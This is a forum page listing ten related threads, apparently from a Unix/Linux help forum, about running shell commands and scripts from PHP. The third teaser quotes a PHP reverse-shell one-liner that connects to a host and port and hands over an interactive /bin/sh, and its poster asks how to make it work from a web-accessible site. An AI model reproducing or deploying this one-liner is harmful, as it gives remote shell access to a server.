10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
.... Solved....
..
..
Hello,
I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script.
Everything goes well but at the end it does not print what it reads... (0 Replies)
Discussion started by: baris35
0 Replies
2. Shell Programming and Scripting
so i have a bit of a unique situation.
i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code.
when run from the command... (8 Replies)
Discussion started by: SkySmart
8 Replies
3. Shell Programming and Scripting
Hello,
I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
However when ever I embed this code into my HTTP accessible web site as follows, I get a connection... (1 Reply)
Discussion started by: landossa
1 Replies
4. Shell Programming and Scripting
Hi,
When I run command from php as www-data:
cordova platform add android
.. I get error without any solution in google.
But when I run it from shell (also as www-data) - it works!
So.. how to do to run this command from php but in shell (tty) not from php?
Regards! (5 Replies)
Discussion started by: wrkilu
5 Replies
5. Shell Programming and Scripting
Hi there,
For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache.
My code is:
#/bin/bash
cp maintenance.html... (2 Replies)
Discussion started by: CharlesKirk
2 Replies
6. Shell Programming and Scripting
----------- Summary -----------
I need a command/set of commands that can help me simulate a shell terminal via a PHP web page using commandline functions. How can I combine the power of nohup and a while loop to:
start the shell,
execute commands and print output (and errors i.e. 2>&1)... (8 Replies)
Discussion started by: blogmaster
8 Replies
7. Shell Programming and Scripting
Hello,
I want to add open_basedir line for exiting hosts.
all web site configurations located on /etc/httpd/conf.d
and file name format : vhost_example.com
I want to add this line
php_admin_value open_basedir "/chroot/home/$UNIXNAME/:/usr/share/pear/:/tmp/:/var/lib/php/session/"
... (1 Reply)
Discussion started by: SAYGIN
1 Replies
8. Shell Programming and Scripting
hi all,
I wrote a PHP script inside which am calling a shell script,
In shell script, i used echo to output some results.
In PHP script i just gave echo to the shell script output. But i couldn't enter the output in newline.
Please help me!
Thanks.
PHP script
<?php... (4 Replies)
Discussion started by: vidhyaS
4 Replies
9. Shell Programming and Scripting
I have a php program that calls a shell script, this part works fine and most of the commands work. However, I have a cpio command in the shell script, and for some reason this doesn't work. If I catch the return code, it's 1 which means it terminated with an error, but I get no other indication of... (3 Replies)
Discussion started by: mmarino
3 Replies
10. OS X (Apple)
Hi,
Now that I'm going to be using my Mac as a web host, I decided to use the PHP shell.
However, when I type php straight in the terminal, the session freezes.
Is there anything wrong that I'm doing? (3 Replies)
Discussion started by: Danny_10
3 Replies